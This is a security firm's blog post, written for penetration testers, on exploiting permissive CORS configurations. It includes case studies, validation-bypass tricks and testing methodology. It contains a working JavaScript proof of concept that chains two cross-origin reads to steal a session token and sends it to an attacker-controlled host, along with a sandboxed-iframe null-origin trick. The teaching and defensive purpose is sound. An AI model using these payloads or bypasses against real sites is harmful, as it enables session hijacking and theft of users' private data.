Exploiting trust: Weaponizing permissive CORS configurations

Exploiting trust: Weaponizing permissive CORS configurations - Thomas Stacey, Outpost24.

- Published: 2024-10-01
- Original: <https://outpost24.com/blog/exploiting-permissive-cors-configurations/>
- Preserved from: https://outpost24.com/blog/exploiting-permissive-cors-configurations/ (browser) on 2026-08-09
- Licence: unknown

Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Contents

Exploiting trust: Weaponizing permissive CORS configurations

Application Security Last updated: 10 Nov 2025

Written By

Thomas Stacey Application Security Auditor, Outpost24

If you're a pentester, or a consumer of application security pentest reports, you'll probably have come across Cross-Origin Resource Sharing (CORS) and its commonly associated misconfigurations. In either case, you'll likely have quickly dismissed the finding because it resulted in yet another "recommendation" (a vulnerability without any impact).

However, if you've spent some time learning about CORS misconfigurations, you'll know that the lab experience is in stark contrast to this "recommendation reality". In the labs, and associated research, you'll find yourself crafting exploits to steal API keys and perform accounts takeovers. Neither of these scenarios seem to warrant another "recommendation" for your report.

This inconsistency inspired a recent research project to answer a simple question, "are we underestimating CORS vulnerabilities". To test this question, I took the home page of every domain covered by a SWAT license and created one huge Burp Suite file (aptly named the "MEGASWAT"). Using this file and Burp's built-in CORS scan check, I could rapidly test each domain for permissive CORS vulnerabilities and create a list of vulnerable domains to explore in the hopes of finally creating some impactful CORS exploits.

Background on Cross-Origin Resource Sharing (CORS)

To understand CORS, it is best to start with an explanation of the same-origin policy. Fundamentally, the same-origin policy prevents applications from reading data from third-party applications. Take the following example:

[image: blocked Cross-Origin Resource Sharing (CORS) visualization example]

The user is currently visiting “outpost24.com” in their browser. If the “outpost24.com” application then attempts to reach out to another third-party application (such as “outpost24.atlassian.net”), the same-origin policy will prevent “outpost24.com” from reading the response from “outpost24.atlassian.net”. This prevents an attacker from hosting a malicious site that can trivially steal confidential data from users by simply requesting the response from, for example, “mail.google.com”. Put simply, the same-origin policy is **the** security control that prevents applications stealing your private data.

However, there are cases where the “outpost24.com” domain may legitimately want to read data from the “outpost24.atlassian.net” domain. They are after all, both trusted by Outpost24. In these cases, the same-origin policy can be relaxed by implementing Cross-Origin Resource Sharing. Take the following example:

[image: relaxed CORS policy visualization example]

Here, we have the same example. This time however, we have implemented CORS and relaxed the same-origin policy. To do this, the “outpost24.com” domain includes an “Origin: https://outpost24.com” header, which informs “outpost24.atlassian.net” where the request originated from. If “outpost24.atlassian.net” trusts “https://outpost24.com”, then it can respond with the “Access-Control-Allow-Origin: https://outpost24.com” header. This instructs the user’s browser to allow the response data from “outpost24.atlassian.net” to be read. Additionally, the “Access-Control-Allow-Credentials: true” header, specifies that private data tied to a user’s session can also be read.

So far, this seems secure. The third-party domain can decide which origins to trust via the “Access-Control-Allow-Origin” header and therefore arbitrary domains that an attacker controls have no ability to abuse this relationship. However, what happens if we want to trust more than one domain?

[image: CORS specification “Access-Control-Allow-Origin” header can only specify one single origin]

The CORS specification states that the “Access-Control-Allow-Origin” header can only specify one single origin. If you want to trust multiple origins, the server must return the origin for the **specific** client making the request. This isn’t completely unreasonable, but it does force developers to implement dynamic URL parsing for the “Origin” header. Unfortunately, this can be a tricky task and often developers make mistakes within this implementation.

Permissive cross-origin resource sharing

One common mistake is to trust the “Origin” header’s value without any form validation. With this assumption in mind, developers will often read in the header’s value and reflect it in the “Access-Control-Allow-Origin” header’s value.

Unfortunately, this simple mistake effectively informs a user's browser, that **any** domain has permission to read private data from the vulnerable domain. When this vulnerable configuration is spotted by an attacker, exploitation is trivial:

[image: vulnerable CORS configuration]

This script is hosted on the attacker's domain. When an unsuspecting victim is tricked into visiting this domain, the JavaScript will trigger a request towards the vulnerable domain the attacker wants to steal private data from. Due to the Permissive CORS implementation, the browser will allow the JavaScript to read the private response data, which the attacker will then exfiltrate to their own attacker-controlled domain (as shown on the last line).

CORS vulnerability case studies

To understand exactly how this attack flow is performed, it's best to look at some case studies. All of the following case studies are either real-world SWAT applications that were discovered during the research or proven external examples of CORS vulnerabilities.

Case study #1 – Arbitrary reflected origin

This application was a well-known bank that had a classically vulnerable CORS configuration whereby the "Origin" header was reflected into the "Access-Control-Allow-Origin" header as follows:

[image: CORS vulnerability visualization]

- The victim (who is a user of the vulnerable bank) visits the malicious attacker-domain.se page
- The attacker-controlled domain triggers the CORS exploit script mentioned previously which triggers a request in the victim's browser towards "vulnerable.se/getSessionToken"
- Due to the Permissive CORS configuration, the victim's browser thinks that "attacker-domain.se" has permission to read the victim's session token, and therefore allows the malicious script to read the response data, and exfiltrate it to the attacker-controlled domain

As a result of this, we were able to take control of users' sessions within the bank giving us access to all kinds of confidential information.

It should be noted, that **all** of the following permissive CORS case studies follow the same exploit flow as above, and therefore the focus for the following cases shall be on the specific misconfigurations of CORS rather than the exploits themselves.

Case study #1.5 – Arbitrary reflected origin "null"

An extremely similar case study to the case study #1 is the inexplicable decision to trust the "null" origin. A "null" origin represents origins that do not exist. Initially this might seem secure as, after all, the attacker can't own a domain that doesn't exist. However, with a little bit of trickery, attackers can actually host the same CORS exploit script within a sandboxed iframe, which will then trigger a request with the "Origin" header set to "null".

```
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src='data: text/html, <script>*cors stuff here*</scrip
```

The CORS specification does actually mention this, but it is an often-overlooked case that can yield some unexpected results.

Case study #2 – Starts with the target domain

Not all Permissive CORS implementations stem from failing to read the CORS specification. Sometimes developers intend to create a secure CORS relationship, but fail to implement secure validation of the "Origin" header. A classic example of this was in a travel booking application that stored all kinds of sensitive data about its users and their planned trips aboard.

In this application, the developers had attempted to validate the "Origin" header by checking that it **started** with the trusted domain. However, this implementation is flawed:

As you can see, simply adding a DNS record for a subdomain of an attacker-controlled domain that starts with the trusted domain, would allow us to host our script and still steal confidential data.

In this case, we were able to steal an access token, which could then be used to change the victim's email address resulting in full control over the victim's account.

This case was actually found on a separate domain that was included in the previous "travel-advice.app" scope. Originally, this separate domain (we'll call it "ta.app.io") did not appear in my scans. The reason for this, is because Burp's built-in CORS scan check is only aware of the domain supplied to the scan. Therefore, when it ran the following request and no CORS response headers were returned, there was nothing to report:

However, with a little context-dependent thinking, I came up with a simple idea. What if this domain doesn't trust itself but does trust the related domain "travel-advice.com".

I quickly realized that this guess was spot-on. Here, we are sending a request towards "ta.app.io" but claiming that the request originates from "travel-advice.com". This caused the "ta.app.io" domain to suddenly reveal that it did in-fact trust the "travel-advice.com" domain. I already knew that the previous domain's implementation was flawed, so I tested that same bypass on this domain:

The same flawed implementation was used on this domain, allowing me to again, steal the user's access token.

This case was particularly interesting, because it revealed what I suspect is an often overlooked attack surface. An application may not reveal that it even implements CORS, unless you provide it with a **context-dependent** origin. In other words, the app might not trust itself but may trust other related domains or subdomains. If any of these related origins are validated incorrectly, you may still be able to achieve arbitrary domain reflection in the "Access-Control-Allow-Origin" header and exploit these cases.

Case study #4 – In localhost we trust

In this case, a mobile carrier initially looked to trust arbitrary subdomains (more on that later). However, with a bit of digging I quickly discovered that it also trusted requests originating from "localhost".

This by-itself is not a vulnerable CORS configuration, as you can't own a domain called "localhost". However, the validation for "localhost" could be implemented incorrectly.

This was in fact the case. The validation once again, only checked that the "Origin" header started with "localhost". This highlighted yet another potentially overlooked attack surface as the default Burp CORS scan check does not check for localhost bypasses. That said, while writing this post, PortSwigger released their URL validation bypass cheat sheet, to which, we submitted our localhost bypass. This is now live and included under the "CORS" section.

Case study #5 – Arbitrary subdomain reflection

In my initial scans, I did not pay much attention to Burp's reports of CORS implementations that trusted arbitrary subdomains. However, while discussing these cases with my colleague Jimmy (check out his work here), he pointed out that trusting arbitrary subdomains is still a vulnerable configuration due to the likelihood of being able to perform a subdomain takeover, or an XSS on any of the subdomains. Additionally, we realized that requests originating from subdomains would likely (assuming the "Domain" attribute is set) bypass any SameSite cookie restrictions.

Note: SameSite will prevent cookies being sent in a cross-origin context when it is set to "Lax" (with some exceptions) or "Strict". Therefore, the preceding cases abused the "None" value.

One case of arbitrary subdomain reflection was found in an online games retailor and studio:

If this request was launched from **any** subdomain of "wesellgames.play" we would have been able to steal the response data, which when Base64 encoded puzzled together the victims user's session cookie.

It should be noted that the correct implementation here is to create a whitelist of trusted subdomains and check the "Origin" header's value against those domains. While this requires considerable effort if subdomains are being created / destroyed often, requiring an update to this whitelist code, it is imperative that developers avoid trusting **all** subdomains, as this dramatically increases the chance of a successful exploitation using some long-forgotten and vulnerable subdomain.

Case study #6 – Multi-step CORS proof-of-concepts

A common theme among the case studies we have exploited so far is the simplicity of the exploitation. A single request is sent to the vulnerable domain, and we steal its response. However, pentesters should not forget that we are exploiting this vulnerability using JavaScript, and therefore you have a lot of options for more complex exploits. Take the following scenario as an example:

Here, the "/user/getSessionToken" endpoint is vulnerable to permissive CORS via arbitrary domain reflection. However, due to the cross-site request forgery (CSRF) token, the attacker is unable to steal the victim user's session token, unless they can guess that value of the CSRF token. While

initially this may seem like a dead-end, it is always worth checking for other endpoints vulnerable to permissive CORS.

Here, the endpoint used to generate the CSRF token, was **also** vulnerable to Permissive CORS. Therefore, with a slightly more complex payload, we could perform two CORS exploits in order to steal the victim user's session token.

This script initially abuses the permissive CORS vulnerability to read the victim users CSRF token. Once achieved, the script triggers a second fetch towards the "/getSession" endpoint, allowing the attacker to steal the victim user's session token, despite the CSRF token.

```
const exploit = async () => {
 //Grab CSRF Token
 const getCSRF = await fetch(
  "https://arbitrary.com/generateCSRF",
  {
   credentials: "include"
}
      );
const csrf_token = await getCSRF.text();
//Use CSRF Token to grab session token
const getSession = await fetch(
        "https://arbitrary.com/getSession?csrf_token=" + csrf_token,
        {
          credentials: "include"

      );
const sessionToken = await getSession.text);
//Exfiltrate Session Token
fetch("https://<attacker-controlled>/log?sessionToken=" + sessionToken);
```

A note on wildcards

Before we move on to the more exotic case studies, we should cover CORS wildcards. One common misconception is that the following response is vulnerable to permissive CORS exploits:

This response implements the CORS specification's "wildcard" which represents **any** origin. Therefore, it stands to reason that this response indicates that the application trusts **any** origin with its private data. However, this is not the case.

[image: CORS specification with wildcard in "Access-Control-Allow-Credentials" header]

The CORS specification states that if the wildcard is used, the "Access-Control-Allow-Credentials" header is invalidated, breaking any potential exploits attempting to grab authenticated users' private data. This is a rather common configuration and actually breaks legitimate implementations of CORS.

That said, not all CORS exploits **have** to abuse the "Access-Control-Allow-Credentials" header.

Case study #7 – Tunnelling

This case study is particularly useful for those pentesters exposed to applications that are only accessible on the internal network. Often this kind of application does not implement any form of authentication, because it is already only reachable if you are on the internal network or on a company VPN for example.

If CORS is implemented on this type of application, then a configuration as simple as the following, can be exploited.

Here, the application is stating that it trusts all origins with its data. The "Access-Control-Allow-Credentials" header is not present here, because the application does not implement any authentication or authorization. In a sense, the only authorization required, is that you are sitting on the internal network when you try to access it. However, if an attacker can lure a victim sat on the internal network to their attacker-controlled domain, they can abuse the victim's browser's "privileged" access to the internal network, in order to exploit this CORS misconfiguration. Take the following example:

[image: abuse of victim's browser's "privileged" access to the internal network to exploit this CORS misconfiguration]

- The attacker sends the victim a link to their attacker-controlled domain
- The victim (who is sat on the internal network) visits the attacker-controlled domain
- The malicious script hosted on the attacker-controlled domain is executed in the victim's browser which unfortunately, has access to the internal network. This allows the script to reach the internal "BitBucket" instance, and steal information from private git repositories
- The script exfiltrates the private "BitBucket" data out of the internal network, to the attacker-controlled domain

It is also worth noting that this technique would still work in a classic case where the application does implement authentication. However, in this case, the origin would need to reflect the attacker's domain, and the "Access-Control-Allow-Credentials" header would need to be set as normal.

Case study #8 – Special character bypasses

Our final case study is a reminder of an advanced CORS technique documented back in 2016 and then again more recently in PortSwigger's URL validation bypass cheat sheet. This research found that some browsers support all kinds of strange characters within domain names. Critically, Chrome and Firefox both support underscores "_" which can easily break a regex that is implemented to validate the "Origin" header.

[image: image]

Furthermore, Safari is extremely lax with its acceptance of special characters in domains allowing for even stranger examples of "Origin" header validation bypasses.

[image: image]

Are we underestimating CORS vulnerabilities?

By the time I concluded this research, we had reported or updated a diverse range of findings across our SWAT customers, with exploits ranging from small information disclosures, to more critical scenarios impacting users' sessions. Moving forward, the team is now well equipped to exploit even the most obscure permissive CORS vulnerabilities, now that we have a more robust methodology for the detection and creation of functional and realistic proof-of-concepts.

Permissive CORS can be tricky to exploit due to modern security controls like the "SameSite" cookie attribute, or even modern application architectures like single-page applications, which often implement custom "Authorization" headers that are not automatically included in credentialed requests by browsers. However, this research has shown that if you look carefully, you will still find them, and sometimes with critical impact.

Additionally, I've realized that detection of CORS can be equally tricky. While the scan checks from Burp Suite are excellent, there are edge cases that you **will** miss if you're not equipped to look for them. With all of this in mind, the following sections detail some tooling and methodology advice that you can follow to increase your chances of finding vulnerabilities in cross-origin resource sharing implementations.

Methodology advice

1. Scan, scan, scan

CORS headers aren't always implemented application wide. You will often find them hidden in specific areas of applications such as API endpoints. Given that these headers could suddenly appear on any endpoint, we as pentesters have a duty to be very careful when checking for CORS. If you see an endpoint containing sensitive data, run a quick CORS check against that endpoint just in case.

2. Consider all trusted domains

One of the blind spots when testing for permissive CORS is the assumption that the application trusts itself and that therefore you can check for CORS headers by adding "Origin: <application's domain here>" to a request. However, this assumption can be flawed. A more robust check should include creating a list of known related domains and subdomains and running that list through the "Origin" header.

If any of those domains trigger CORS headers in the response, then the validation for these domains may still be flawed. Therefore, it's worth looking for the bypasses discussed in the case studies for **each** of the domains that is trusted.

3. Don't give up when SameSite is not "None"

SameSite has been, and continues to be, a pain for pentesters. Which probably means it's a really good security control. That said, "SameSite=None" is not the only case where CORS can be exploited. When a "Set-Cookie" header contains "SameSite=Lax" or "SameSite=Strict" as well as

“Domain=<target-domain>”, look instead for arbitrary subdomain reflection. Any CORS exploit hosted on these subdomains via XSS or subdomain takeover will automatically bypass the “SameSite” restrictions.

4. Apply context on internal applications

When testing internal applications, you will often work over a VPN to reach that application. If it doesn’t implement authentication and also implements the CORS wildcard “*”, then remember that you have a valid CORS case to explore.

Often you will come across applications that implement CORS, but also use the custom “Authorization Bearer <access_token>” header. While this does prevent exploitation on any endpoint that requires this “Authorization” header, don’t just give up. Some implementations use an initial set cookie to refresh or renew bearer tokens. If those endpoints are vulnerable to a permissive CORS misconfiguration, you have a shot at a critical finding where you can steal a victim’s access token.

Tooling best practice

To complement this methodology, I have created a Burp extension that will check for all the bypasses mentioned in this research, as well as those included in PortSwigger’s recently released URL validation bypass cheat sheet. Additionally, the extension can be used to quickly check if any given endpoint has a hidden trusted domain. If any domains appear to be trusted, the extension will automatically attempt to use the previously mentioned bypasses to check for permissive CORS issues.

Alternatively, you can check for trusted domains manually using intruder:

- Take all domains in-scope for your test and run tools like subfinder against them to build a list of domains and subdomains that are likely to be considered “trusted”
- Send an endpoint that you want to test for Permissive CORS to intruder in Burp Suite and add an “Origin” header with placeholders like this `Origin: https://§outpost24.com§`
- Uncheck “URL-encode these characters” in the intruder settings
- Run the script, and filter for the “Access-Control-Allow-Origin” header

Once you have a list of trusted domains that respond with “Access-Control-Allow-Origin” headers, you can test the normal “Origin” header bypasses to attempt to gain arbitrary domain reflection.

Key takeaways

- Permissive CORS if **often not** just a recommendation and cases are **still** out there
- Arbitrary **subdomain** reflection still isn’t secure
- Permissive CORS can hide from scan checks when applications trust domains other than their own
- Internal application should be carefully assessed for permissive CORS, including use of the wildcard

- Multi-step proof-of-concepts are viable and powerful
